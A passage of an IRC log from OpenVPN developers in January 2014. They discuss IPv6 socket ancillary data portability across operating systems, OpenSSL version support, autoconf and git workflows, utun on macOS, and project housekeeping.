rules are fun... 13:32 <@cron2> from reading the code and RFC 2292, I think it should just be "struct cmsghdr + enough bytes", and you use CMSG_SPACE and CMSG_LEN macros to let the system calculate what you want to put in there, and *ask* the system *where* it is 13:34 <@plaisthos> there is also rfc 3542 13:34 <@plaisthos> and os x has two defines: __APPLE_USE_RFC_3542 and __APPLE_USE_RFC_2292 13:34 <@cron2> if the alignment is wrong, the length we pass is not what the kernel wants, and so either something is missing at the end (ifindex corruption) or it would overwrite the buffer and refuses cooperation 13:35 <@cron2> fun 13:40 <@cron2> ok, freebsd 8.3 doesn't return mapped-ipv4 either 13:42 <@plaisthos> I feel like you can stop finding out where this stuff actually works 13:43 <@cron2> well 13:43 <@cron2> I can't help myself here 13:43 <@cron2> now I started this, I need to dig into it, all the way... 13:44 <@plaisthos> :) 13:46 <@plaisthos> someone should sponser me to finish my multi socket server stuff :P 14:00 <@cron2> does this code work *anywhere*? 14:00 <@plaisthos> :D 14:00 <@cron2> the IPv4-only code fails on linux/amd64 14:07 <@cron2> ... due to the same issues... 14:13 <@cron2> well, OpenBSD is much easier :-) 14:14 <@cron2> Setting IPV6_V6ONLY=0 failed 14:14 <@cron2> no discussion about mapped addresses 14:18 <@cron2> NetBSD hates our print_... function 14:18 <@cron2> from=[AF_INET6]2001:608:0:814::f000:11:57506 (via [getnameinfo() err]%wm0) 14:20 <@cron2> ... but the actual multihoming code works *roll eyes* 14:29 <@plaisthos> getnameinfo fails?! 14:29 <@plaisthos> WTF!? 14:29 <@cron2> yup :-) 14:30 <@plaisthos> IPV6_V6ONLY=0 is obviously not the right way to go 14:30 <@plaisthos> so they left it out 14:30 <@cron2> yep, they are very religious about that 14:31 <@plaisthos> I mean they are right 14:31 <@plaisthos> and in ideal world all software would just work with multiple sockets ... 14:31 * cron2 is not starting a religious discussion now 14:31 <@plaisthos> yeah 14:37 <@cron2> but I can see why getnameinfo() is acting up... the code is actually passing a sockaddr into it that has no sin6.sin6_len set, and NetBSD is validating that 14:38 <@cron2> from=[AF_INET6]2001:608:0:814::f000:11:37056 (via 2001:608:0:814::f000:4%wm0 [1]) 14:38 <@plaisthos> oh 14:39 <@cron2> ... and now we're back to the usual problem of "not all platforms actually *have* a length field in the structure", but I'm not going to fix that today 14:39 <@plaisthos> yeah we probably do some stupid lets construct the struct ourselves stuff somewhere instead of bouncing the struct back and forth from the OS 14:39 <@cron2> yep, this 14:40 <@cron2> CLEAR(sin6); 14:40 <@cron2> sin6.sin6_family = AF_INET6; 14:40 <@cron2> sin6.sin6_addr = act->pi.in6.ipi6_addr; 14:40 <@cron2> if (getnameinfo((struct sockaddr *)&sin6, sizeof (struct sockaddr_in6), 14:40 <@plaisthos> *ouch* 14:40 <@plaisthos> instead of lets say just passing the ipi6_addr 14:41 <@cron2> we can't, as that's an in6_addr, not a sockaddr_in6... 14:42 <@plaisthos> isn't in6_addr a deprecated struct? 14:42 * cron2 wouldn't know 14:42 <@plaisthos> like with inaddr and sockaddr 14:43 <@plaisthos> oh right in6_pktinfo gives you an in6_addr ... :/ 14:43 <@cron2> from=[AF_INET]10.97.0.11:43197 (via [AF_INET]10.97.0.4%) 14:44 <@cron2> ok, code actually works on NetBSD if you patch all calls to getnameinfo() to fill in sa_len *roll eyes* 14:44 <@cron2> but I'm not going to fix that today, just make a mental note 14:47 <@plaisthos> this ip6_pktinfo is nagging on me 14:47 <@plaisthos> there seems to be no 14:47 * cron2 has code now that works everywhere, as long as the kernel returns something proper 14:47 <@plaisthos> clean way for going from ip6_pktinfo to getnameaddrinfo 14:48 <@plaisthos> hm 14:48 <@cron2> well, I see that as an API problem 14:48 <@cron2> the whole "ancilliary socket info" stuff is... weird 14:48 <@plaisthos> yeah 14:49 <@plaisthos> :D 14:49 <@plaisthos> but you can send filedescriptors with it ;) 14:50 <@plaisthos> auxiallry data stuff has be designed for something different 14:50 <@plaisthos> and then used for strange stuff 14:56 -!- Guest17603 [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 14:58 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 14:58 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 14:58 -!- dazo_afk is now known as dazo 15:04 <@cron2> plaisthos: if you're bored, feel free to give the code I just sent a quick test on MacOS, with "4" and with "6", please :-) 15:09 <@plaisthos> will do 15:09 <@plaisthos> but not today 15:44 <@cron2> hah, we got lorenzo interested enough :-) 16:26 <@cron2> ... and I got one of the kernel devs interested enough to a) promise a kernel patch "this week" and b) explain about a hack that might work around this --- Day changed Mon Jan 20 2014 00:16 -!- mattock_afk is now known as mattock 04:06 <@plaisthos> cron2: wow 04:16 <@cron2> yeah, the wow level is increasing - I just got copied on two mails to net-next with the patch in them, and an "ack, applied" from David Miller 04:26 <@cron2> so I consider my time spent yesterday to be extremely well-spent :-) 04:26 <@plaisthos> :) 04:26 <@cron2> (Also, it was *fun* to poke at this and try to understand what's going on ;-) ) 04:29 <@plaisthos> so with 3.14 openvpn dual stack with one socket and multi home will actually work? 04:29 <@cron2> looks like it (no idea which kernel branches this will go in, though) 09:25 <@plaisthos> Fun feature of Android 4.4 09:26 <@plaisthos> 0.0.0.0/0 on tun means really 0.0.0.0/0 on tun 09:26 <@plaisthos> if you have longer prefix route like 192.168.0.0/24 on your wifi interface it will still go through the tunnel 09:37 <@cron2> yay, policy routing ftw :) 11:42 <@plaisthos> I am thinking about implementing a "exclude" routes features for ics-openvpn 11:43 <@plaisthos> put all positive and negative routes together and a calculate a set a set of positive routes that leaves "holes" for the negative routes 12:31 <@plaisthos> SO_BINDTODEVICE is Linux only and there seems to be no FreeBSD equivalent 12:31 <@plaisthos> :( 12:32 <@cron2> that's the protect() thing, is it? 12:32 <@plaisthos> jo 12:32 <@plaisthos> yes 12:33 <@cron2> would make our lifes easier indeed regarding "redirect-gateway"... 12:34 <@plaisthos> solaris seems have something similar though 12:34 <@plaisthos> No. The undocumented IP_XMIT_IF option may be close to that, though, depending on what you're trying to do. 12:35 <@cron2> right now I'm not convinced Solaris has a future as desktop OS, so I wouldn't worry too much on those features that are important for client-side 12:36 <@plaisthos> :) 12:47 <@plaisthos> but no support for os x, freebsd 12:47 <@plaisthos> Windows is difficult to say 12:50 * cron2 has the nagging suspicion that the "get_route_gateway()" nightmare will come back to haunt him for IPv6 :-) 12:51 <@cron2> btw, you acked 1/2 and 2/2 on that (the master+2.3 bugfix/cleanup) - have you looked at 3/2 (master-only, merge all 5 BSDs) as well? 12:51 <@cron2> nobody commented that yet... 12:51 <@cron2> (except syzzer who was happy about patch that has so many "-") 12:51 <@plaisthos> :) 12:54 <@plaisthos> cron2: when you commit, add test-driver and compile to the .gitignore 12:54 <@plaisthos> autoconf keep insisting on creating these files for me 12:54 <@plaisthos> or should I send a patch for that? 12:55 <@plaisthos> on the first glance that code in 3/2 seems really just copy&pasted 12:58 <@plaisthos> implementing the protect stuff for linux should be really easy 12:58 <@plaisthos> at least for IPv4 12:59 <@plaisthos> I am not sure if we detect the default route interface fro the IPv6 gateway 13:02 <@plaisthos> Oh 13:02 <@plaisthos> OS X seems to have the same options as Solaris 13:02 <@plaisthos> IP_BOUND_IF seems to exist 13:05 <@plaisthos> and IPV6_BOUND_IF 13:05 <@plaisthos> but IPV6_PKTINFO takes precedence over IPV6_BOUND_IF. 13:08 <@plaisthos> cron2: we could make os x and linux work 13:08 <@plaisthos> but not FreeBSD 13:09 <@plaisthos> I am not sure if adding the feature only for these two OSes is "good" or "bad" because it won't work on other OSes 14:12 <@cron2> plaisthos: what platform is that (test-driver, compile)? It doesn't do that for me... it's part of automake, but my automake just uses the one in /usr/share/ 14:12 <@cron2> but yeah, I can do that 14:14 <@plaisthos> cron2: os x 14:14 <@cron2> done, with your acked-by :-) - will push with the next set 14:15 <@plaisthos> no idea why my autoconf insist on adding these files 14:50 -!- mattock is now known as mattock_afk 16:59 <@vpnHelper> RSS Update - tickets: #365: Feature request: Profiler for OpenVPN-Connect on Android <https://community.openvpn.net/openvpn/ticket/365> 17:27 < syzzer> hah, finally got ecdh working in a tls-compliant way for OpenSSL! 17:27 < syzzer> but it's late and the code is still a bit messy, so no patches tonight ;) 17:29 < syzzer> I have to test a bit more, but I think this patch will deliver 'full EC support' 17:35 <@plaisthos> wheee 17:35 <@plaisthos> syzzer: lemme goes, you don't like OPenSSL any more than before 17:40 < syzzer> plaisthos: hehe, I definitely don't like it any more than before indeed :p 17:41 < syzzer> although, they did realize that they could do the ECDH stuff on their own, but it's only in 1.0.2 and newer 17:41 < syzzer> I guess we can't just bump the minimal openssl version to 1.0.2 for 2.4? :p 17:42 <@pekster> heh, I tried to declare <1.0.0 as deprecated for easyrsa and people whined :( 17:42 <@pekster> Apparently the latest OS X (among other things) ships with 0.9.8 :\ 17:43 < syzzer> pekster: really? :( I wanted to deprecate < 1.0.0 too, that saves me a *lot* of ifdefs... 17:43 <@pekster> In my case it was an easy fix, but I have some staged changes I'll rebase on 3.0.0-final for the 3.1 branch, and it got more complex to try and be friendly to both 17:44 <@pekster> Jury's still out on that I guess. I just wish openssl would stop supporting the old stuff and get people to switch 17:44 < syzzer> yeah, 0.9.7 is really ancient 17:45 <@pekster> 0.9.8y (or whatever the latest is) is technically receiving updates, but it's getting no new features 17:45 < syzzer> but if mac os still ships 0.9.7, I guess that ifdefs it is... 17:45 <@pekster> PITA when I want to rely on those new features ;) 17:46 < syzzer> I'm off to catch some sleep, early morning tomorrow :) 17:48 <@plaisthos> pekster, syzzer: OpenSSL is depracted on OS X 17:48 <@plaisthos> in favour of Apple Security API (or something like that) 17:50 <@plaisthos> openssl version 17:50 <@plaisthos> OpenSSL 0.9.8y 5 Feb 2013 17:50 <@pekster> Yup, that's supported upstream 17:50 <@pekster> Just old --- Day changed Tue Jan 21 2014 00:23 -!- mattock_afk is now known as mattock 02:05 <@cron2> *yawn* 02:08 <@vpnHelper> RSS Update - tickets: #366: CPage error in CLogin/locateChild <https://community.openvpn.net/openvpn/ticket/366> 04:14 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 04:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:26 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 04:33 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:33 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:49 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 04:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:37 <@dazo> syzzer: we're bound to support RHEL5 as the oldest distro, which ships with 0.9.8e as the base release (with a bunch of additional backported patches from newer releases) 07:38 <@dazo> syzzer: the EOL timeframe for RHEL5 is earliest March 31, 2017 07:39 <@dazo> (some customers may pay an extra subscription fee for an additional 3 years on top of that) 07:39 <@dazo> RHEL6 ships with openssl 1.0.1e (with additional patches+++) 07:40 < syzzer> wow, that's a still a long time to go, considering the age of 0.9.8... 07:40 <@dazo> yeah, but RH does backport anything the security group finds 07:40 < syzzer> I'll put in some extra #ifdefs before sending out patches ;) 07:40 <@dazo> :) 07:41 <@dazo> (RHEL5 was released March 15, 2007, and have 10 years of full support) 07:42 < syzzer> but, since you're here, I saw your autotools patch, what is the reason for replacing AC_CHECK_HEADER with AC_CHECK_HEADERS ? 07:43 <@dazo> autoreconf complained about it ... (autoconf 2.69) ... And I found someone describing the things to look out for to support newer versions better 07:43 * dazo looks for the link again 07:44 <@dazo> https://www.flameeyes.eu/autotools-mythbuster/forwardporting/autoconf.html 07:44 <@vpnHelper> Title: 1. Changes in autoconf releases (at www.flameeyes.eu) 07:44 <@dazo> "The internal macro AH_CHECK_HEADERS has been removed;" 07:44 < syzzer> ah, thanks. 07:46 <@cron2> dazo: that does not make sense to me 07:46 <@cron2> A*H*_CHECK_HEADERS has been removed, not not AC_CHECK_HEADER-no-s 07:46 <@dazo> duh 07:47 <@dazo> I honestly didn't notice that 07:47 <@cron2> AC_CHECK_HEADER() is still there but does different things nowaday, or so they say 07:47 <@dazo> but it did kill some whinings 07:48 <@cron2> we used to have someone with autoconf knowledge on openvpn-devel... forgot his name (not Alon)... 07:49 < syzzer> what I understand from it is that AC_CHECK_HEADER and AC_CHECK_HEADERS not are the same 07:49 < syzzer> not -> now 07:49 <@dazo> cron2: Was it Andreas? 07:49 <@dazo> or Mathias .... 07:49 <@cron2> Mathias! yes 07:50 <@dazo> syzzer: I remember reading this one about the AC_CHECK_HEADERS() ... https://www.flameeyes.eu/autotools-mythbuster/autoconf/finding.html#autoconf.headers.present-not-compiled 07:50 <@vpnHelper> Title: 4. Finding Libraries (at www.flameeyes.eu) 07:52 <@dazo> (oh remove the "#" reference) 07:55 <@d12fk> i'm struggeling tearing the interactive service patches apart 07:55 < syzzer> so, basically 'AC_CHECK_HEADERS' is just a bit more generic, from reading the docs I already derived the change would not have impact on our builds, but I was curious to know why you changed them. If they silence warning, that's reason enough for me. 07:56 <@d12fk> does anyone of you know if there's some git foo the ease the pain 07:56 <@dazo> d12fk: what do you try to do? 07:56 < syzzer> there's a lot of git foo 07:56 <@d12fk> is rebase --interactive split the way to go? 07:56 < syzzer> I like to do that kind of stuff with git-gui 07:56 <@d12fk> dazo: i have a monolithic patch for the service 07:57 < syzzer> It gives me a better overview than the command line does 07:57 <@dazo> ahh, I see ... rebase --interactive can be used to re-order patches 07:57 <@d12fk> want to split it into 2-3 logical units 07:57 <@dazo> right ... I'm often using git stash for such things 07:57 <@d12fk> want to split it into 2-3 logical unitsis it like gitk 07:57 <@d12fk> whoops 07:57 < syzzer> what I do, is 'git gui', choose 'amend previous commit', and select lines hunks, then right-click 'unstage' 07:58 <@dazo> ahh, that's a cool approach 07:58 * dazo never thought of that one 07:59 < syzzer> this is one of those situations where I really like the gui approach :) 07:59 <@d12fk> problem is that i need to change the code to be compilable if i split it, it's not just sorting out some lines 08:00 <@d12fk> it's faily intrusive 08:00 <@d12fk> fairly =) 08:00 <@dazo> :) 08:01 <@dazo> well, I'd probably try to then use git gui + git stash. First unstage things you don't want in the commit ... then use git stash to put the rest aside, make it compilable and git commit --amend 08:01 <@dazo> then git stash pop, to get the stuff you put aside into your tree again 08:02 <@dazo> probably getting some ugly conflicts with the git stash pop ... but that's not unexpected, though 08:02 * d12fk sighs 08:02 -!- raidz is now known as raidz_away 08:02 <@d12fk> if only i could start something like that with a concept ready =) 08:03 <@d12fk> will battle the beast this week 08:07 <@plaisthos> d12fk: SourceTree is a right OS X gui for doing this stage only a part of it dance 08:07 <@plaisthos> which has also a windows version 10:10 <@mattock> I'll have to reboot community and build 10:10 <@mattock> ok? 10:58 <@cron2> if it makes you happy 11:20 -!- raidz_away is now known as raidz 12:18 -!- raidz is now known as raidz_away 12:18 -!- raidz_away is now known as raidz 13:07 -!- dazo is now known as dazo_afk 13:46 <@plaisthos> *sigh* I would need the block-local feature now 13:46 <@plaisthos> but as allow-local 13:46 <@plaisthos> So I know which network to allow outside the vpn 14:06 <@mattock> cron2: it will make cron-apt happy at least 14:06 <@mattock> and me as a result, due to reduced spam 14:06 <@mattock> that said, I'll reboot tomorrow or so 14:45 -!- mattock is now known as mattock_afk 15:43 -!- Weasel_ [~kvuorine@a91-154-220-172.elisa-laajakaista.fi] has quit [Remote host closed the connection] 16:39 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has joined #openvpn-devel 22:50 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 22:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Jan 22 2014 00:04 -!- mattock_afk is now known as mattock 02:07 < Tthom> Hi, I'd like to contribute a small bug fix. How do I go about that? 02:13 <@cron2> send mail with patch + description what the issue is to openvpn-devel@lists.sourceforge.net, please 02:13 <@cron2> our formal process is "patch on list, someone reviews and ACK/NACKs it" 02:14 < Tthom> Alrighty, will do. Thanks. 02:54 <@cron2> ah, there's the pathc. Under which conditions can this happen? 02:55 <@cron2> (review of this will take a bit, I'm afraid - of the currently active developers, I think nobody has dug into that particular code yet. We've mainly focused on networking and crypto, and avoided contact with the internal event handling and such) 03:01 < Tthom> The condition in which I encountered was: trying to set up a connection using tcp-client, and then querying the management console every 500 milliseconds for the connection state. This would stay stuck in TCP_CONNECT. 03:02 < Tthom> When connecting with tcp, the code does a non-blocking connect. When you connect using udp, you take a different path. This path does in fact update the expiry timer correctly. 03:03 < Tthom> (but I noticed that after writing this patch) 03:04 < Tthom> If you don't spam the management console for the connection state, everything works well. 03:06 <@cron2> could I ask you to send this to the list (as a followup to the patch) as well, so the info how to reproduce it is not lost? Thanks in advance :-) 03:06 < Tthom> Sure, no problem. 03:15 < Tthom> I haven't received my submission to the mailing list as I sent it myself. Therefore I can't reply to it to send a followup. I can send a separate mail, but then the threading is lost. 03:16 <@cron2> I have seen it :-) - sourceforge mail can sometimes be sllooowww, though 03:17 < Tthom> Ah there it is 03:17 * cron2 bounces a copy of the mail to ithom 03:17 <@cron2> (that could have been coincidence, or the bounce :) ) 03:17 < Tthom> Some mailing list don't send to the sender (e.g. Google Groups). 03:38 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 03:39 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 03:39 -!- mode/#openvpn-devel [+o andj] by ChanServ 06:07 <@plaisthos> btw. did you see 06:07 <@plaisthos> https://github.com/OpenVPN/openvpn/pull/11 06:07 <@plaisthos> ? 06:07 <@vpnHelper> Title: Apple Mac OS X Keychain support by csdexter · Pull Request #11 · OpenVPN/openvpn · GitHub (at github.com) 06:17 <@d12fk> shouldn't that go into the gui instead? 06:21 <@plaisthos> for windows that is in openvpn itself too 06:44 <@d12fk> but i thought we decided to move out the os dependant stuff as much as possible 06:46 <@plaisthos> yeah 06:48 <@plaisthos> Don't know how much effort it is to do again in Tunnelblick 06:48 <@plaisthos> d12fk: does the windows ui support certificates via external-key-management? 06:48 <@d12fk> nope 07:13 -!- dazo_afk is now known as dazo 07:35 <@dazo> d12fk: Accessing certificate *stores* from openvpn directly, is probably somewhat different than PKCS#11 support ... as the PKCS#11 smart cards are not present constantly, and depends on the user initiating the connection 07:36 <@dazo> (certificate/key stores, in fact) 07:37 <@d12fk> but doesn't the user have to ack to access to the keys in the store as well? 07:37 <@dazo> while using an OS based storage, can be used/accessed by users being logged in directly 07:37 <@dazo> I don't know how the OSX works ... but in GNOME, the key store can be unlocked automatically during login 07:38 <@dazo> of course, PKCS#11 is far safer .... but cert storages are still safer (as the contents is usually encrypted) than plain files on a file system 07:39 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 07:56 <@dazo> cron2: in regards to https://github.com/OpenVPN/openvpn/pull/11 (Apple OSX Keychain support) ... I would be sceptical to those patches. He has used 'git merge' and not 'git rebase' ... which means there can be some conflicts here, which can easily cause some patches from master to be reverted 07:56 <@vpnHelper> Title: Apple Mac OS X Keychain support by csdexter · Pull Request #11 · OpenVPN/openvpn · GitHub (at github.com) 07:57 <@plaisthos> yeah. He should rebase it on master 07:58 * dazo adds a comment 08:03 <@cron2> dazo: I'm not pulling anything, ever. I want patches to look at, and if there is something that is unrelated to the change the patch claims to do, NAK time (like, a merge artifact) 08:04 <@dazo> cron2++ 08:14 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has quit [Read error: Connection reset by peer] 08:17 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has joined #openvpn-devel 08:23 * dazo declares plaisthos an OSX expert after his github comment :) 08:23 <@d12fk> add him as a github expert too =) 08:23 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has quit [Quit: Tthom] 08:24 <@dazo> d12fk++ 08:24 <@plaisthos> dazo, d12fk: wait. That is not fair ... 08:25 <@dazo> plaisthos: why not? We've already declared d12fk our Windows expert and syzzer our SSL/crypto expert ;-) 08:25 <@d12fk> you goots be careful in here... 08:26 <@plaisthos> hm okay 08:29 <@dazo> ecrist: I think it's about time to grant syzzer a community/developer cloak 08:29 <@dazo> (unless he already rejected it) 08:39 <@cron2> what, plaisthos can do github comments? woo! 08:47 <@ecrist> syzzer: do you want a developer cloak? 11:33 < syzzer> cool, a cloak! What does that get me? ;) 11:38 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:39 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:41 <+krzee> makes you invisible ;] 11:42 <@cron2> syzzer: in IRC you show up like andj: adriaan@openvpn/community/developer/andj 12:19 <@cron2> plaisthos: regarding the caching issue: you *could* use your own resolver, with a protect()ed socket... 12:52 < syzzer> oh, in that case, one cloak please! 12:52 -!- Tthom [~Tthom@dhcp-077-251-225-206.chello.nl] has joined #openvpn-devel 12:53 <@cron2> ecrist is the dressmaker 13:21 < syzzer> any build system wizards around? I'm trying to convince autoconf / make to build using a local openssl checkout, rather than the systems version, but the build system refuses to do so. 13:37 * cron2 would have to go read configure... maybe it can be coaxed there using ./configure CFLAGS=... LDFLAGS=... 13:45 -!- mattock is now known as mattock_afk 13:51 <@dazo> syzzer: isn't there a --openssl-libs parameter you can pass to ./configure? 13:51 <@dazo> (or something along that path) 14:06 <@cron2> alon does not believe in --xyz-libs= flags 14:17 <@dazo> oh, right ... it's OPENSSL_LIBS=..... or something like that 14:18 <@dazo> but, I believe the latter one is actually the preferred way upstream autoconf 14:22 -!- dazo is now known as dazo_afk 14:32 < syzzer> hmm, I already tried running configure with OPENSSL_LIBS and OPENSSL_CFLAGS... 14:36 < syzzer> ah, got it! I needed OPENSSL_SSL_{LIBS,CFLAGS} *and* OPENSSL_CRYPTO_{LIBS,CFLAGS}, *and* remove the system openssl version 14:37 < syzzer> the configure stuff will only search for the library if PKG_CFG fails to find something suitable 15:27 <@ecrist> syzzer: openvpn/community/developer/syzzer good? 15:32 < syzzer> ecrist: yup! 15:34 <@ecrist> ok, I'll work on it. Expect a PM from some netop or another 15:37 -!- syzzer [~syzzer@50709EF1.static.ziggozakelijk.nl] has quit [Changing host] 15:37 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:37 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:37 <@syzzer> ah, that's how it works, I was wondering :) 15:38 <@ecrist> :) 15:38 <@syzzer> ah, fancy, done already 15:38 <@ecrist> I'm the GC for openvpn on freenode, so I have to submit a request to a netop to get the cloak set 16:00 <@plaisthos> cron2: yeah, if I find/use some very obscure API that gives me the dns servers that would be used if the dns is stopped 16:01 <@syzzer> okay, been testing with various openssl version now, the EC-patches work just fine with openssl 0.9.8+, but they won't have any effect unless you're using 1.0.1+, because TLSv1,{1,2} are not supported until 1.0.1 16:02 <@syzzer> anyone opposed to me bumping the minimum required version of openssl in configure.ac to 0.9.8 (from 0.9.6)? 0.9.8 is the oldest supported openssl anyway, if I understand correctly. 16:04 <@plaisthos> yeah 16:05 <@plaisthos> even tomato has a newever openssl version *ducks* 16:06 <@syzzer> lol 16:06 <@plaisthos> and that is 2.4 stuff anyway 16:07 <@plaisthos> openvpn 2.4 with 0.9.7 sounds strange enough anyway 16:07 <@syzzer> 0.9.6, currently! 16:08 <@plaisthos> 0.9.6m is only 6 years old! 16:08 <@plaisthos> (and the only other version (0.9.6) almost 14 year) 16:12 <@pekster> Upstream doesn't maintain <0.9.8, so we shouldn't need to worry/test on them either 16:13 <@pekster> If someone running truely ancient versions (0.9.7 or earlier) they can deal with the issues that causes themselves 17:21 -!- raidz is now known as raidz_away 17:26 -!- raidz_away is now known as raidz 17:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 17:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:50 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:59 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 19:00 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:00 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:06 -!- raidz is now known as raidz_away 19:07 -!- raidz_away is now known as raidz 19:16 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: I shouldn't have left....] 19:16 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 19:17 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 19:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 19:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:18 -!- raidz is now known as raidz_away 19:18 -!- raidz_away is now known as raidz --- Day changed Thu Jan 23 2014 02:15 < Tthom> What's the status of utun support? 02:16 <@cron2> it's in there for tun, not for tap 02:17 <@cron2> will be part of 2.3.3 02:17 <@cron2> commit bdfd4ee4c0e3bcd46222b8425cea87a4c83bb37c 02:17 <@cron2> Author: Arne Schwabe <arne@rfc2549.org> 02:17 <@cron2> Add support of utun devices under Mac OS X 02:17 < Tthom> Great! 02:19 < Tthom> You mean fbc04bed I think? 02:20 <@cron2> that's the commit in master, bdfd4ee is the cherry-pick in 2.3 02:20 < Tthom> Aha okay. 02:26 < Tthom> Will utun allow one to share a VPN connection with the rest of the network on OSX? 02:33 <+krzee> Initialization Sequence Completed With Errors ( see http://openvpn.net/faq.html#dhcpclientserv ) <-- link does not go to a faq entry anymore 02:33 <@vpnHelper> Title: FAQ Community Software (at openvpn.net) 02:35 <@cron2> krzee: yeah, there's a ticket for that. Mattock points at the evil CMS, but I think that even there a "Rewrite" rule in Apache should work fine (just grab faq.html before the evil CMS can get at it) 02:35 <+krzee> ahh werd 02:52 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:52 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:52 <@cron2> krzee: there's your man :) 02:53 <@mattock_> looks like hacking notify.py to get user's email from LDAP should be fairly straightforward 02:53 <@cron2> doppelplusgut 02:54 <@mattock_> meaning that people would get ticket notifications even if they don't have email configured in trac preferences 02:57 <@cron2> exactly this, yes 03:10 -!- mattock_ [~yaaic@openvpn/corp/admin/mattock] has quit [Quit: Yaaic - Yet another Android IRC client - http://www.yaaic.org] 03:13 <@mattock> uh, we should move the FAQ to Trac 03:13 <@mattock> afaik James has not maintained the FAQ for a long, long time 03:14 <@cron2> mattock: yes, FAQ in Trac is a good plan, but the entry link should still work (and be changed to a redirect to tracfaq) 03:15 <@mattock> agreed 03:16 <@mattock> current FAQ is messed up because of the evil CMS, so I'd prefer first moving the FAQ to Trac (if nobody insists on having it on openvpn.net) and then adding a rewrite/redirect 03:16 <@mattock> a MOVED PERMANENTLY would be good, because then the search engines would update their links too 03:17 <@mattock> I asked James if he's fine with this plan 03:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 03:19 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:27 <@mattock> james was fine with the plan 03:27 <@mattock> "Yes, I think that makes sense. The stuff there now seems pretty dated." 03:27 <@cron2> go for it 03:27 <@mattock> yeah 03:27 <@mattock> then we can add a redirect to openvpn.net 04:16 <@plaisthos> Tthom: probably not 04:16 <@plaisthos> Tthom: because utun does not show up as conection in the network dialog 04:16 <@plaisthos> Tthom: You still can do the required nat rules etc. by command line 04:17 < Tthom> plaisthos: aw, that's too bad. 04:17 <@plaisthos> main advantage of utun is not requiring extra kernel modules 04:17 <@plaisthos> (which did conflict with vmware at one time) 04:17 < Tthom> Sure, that's indeed great. 04:19 < Tthom> No more problems with multiple applications that require tun.kext running at the same time. 04:21 < Tthom> To use utun you do a --dev tun --dev-node utun? 05:31 <@plaisthos> if you specify --dev-node utun it will force utun 05:31 <@plaisthos> otherwise with no dev-node it will try utun first and fall back to tun 05:34 <@plaisthos> anyone with man magic here? 05:35 <@plaisthos> for some reason my man openvpn renders the openvpn utun part wrong 05:35 <@plaisthos> use --dev-node tun --dev-node option openvpn will 05:35 <@plaisthos> the part "When not using a " in between is somehow missing and don't see in the error in openvpn.8 05:38 <@plaisthos> oh 05:38 <@plaisthos> the . at beginning of the line 05:50 <@plaisthos> I hate man page syntax 05:50 <@plaisthos> I have no idea how to escape . at beginning of a line :( 06:15 <@cron2> yay for *BSD... OpenBSD introduced a strnvis() function in 2001. NetBSD and FreeBSD liked the idea, so they copied the function in 2012/2013, and *changed the argument order* to make it "more consistent" 06:16 <@cron2> now *that* is a function I'm not going to use, ever :) 06:16 <@cron2> plaisthos: if you prepend a blank (" . When not...") - will that work? 06:18 <@plaisthos> . and .. does not work 06:21 <@cron2> meh 06:31 < Tthom> You can put the dot on the previous line and prefixing it with \fR 06:31 < Tthom> tun\fR. 06:32 < Tthom> But thanks a bunch! Very useful. 06:40 -!- dazo_afk is now known as dazo 06:50 <@cron2> that's actually the single occurance of a leading ". " we have. I'll go and fix it. 06:51 <@plaisthos> cron2: thanks 06:57 <@vpnHelper> RSS Update - gitrepo: Fix "." in description of utun. <https://github.com/OpenVPN/openvpn/commit/66ff10ef5197b6c70429a15e572aeb2d4073b470> || Add "test-driver" and "compile" to .gitignore <https://github.com/OpenVPN/openvpn/commit/c9dbc51a581a7ed666458a454fb4ad3e603dcf3f> 06:59 < Tthom> Hah thanks for the credits. 07:08 <@cron2> well, you sent the patch :) 07:20 <@ecrist> morning. 07:35 <@d12fk> err, it's not 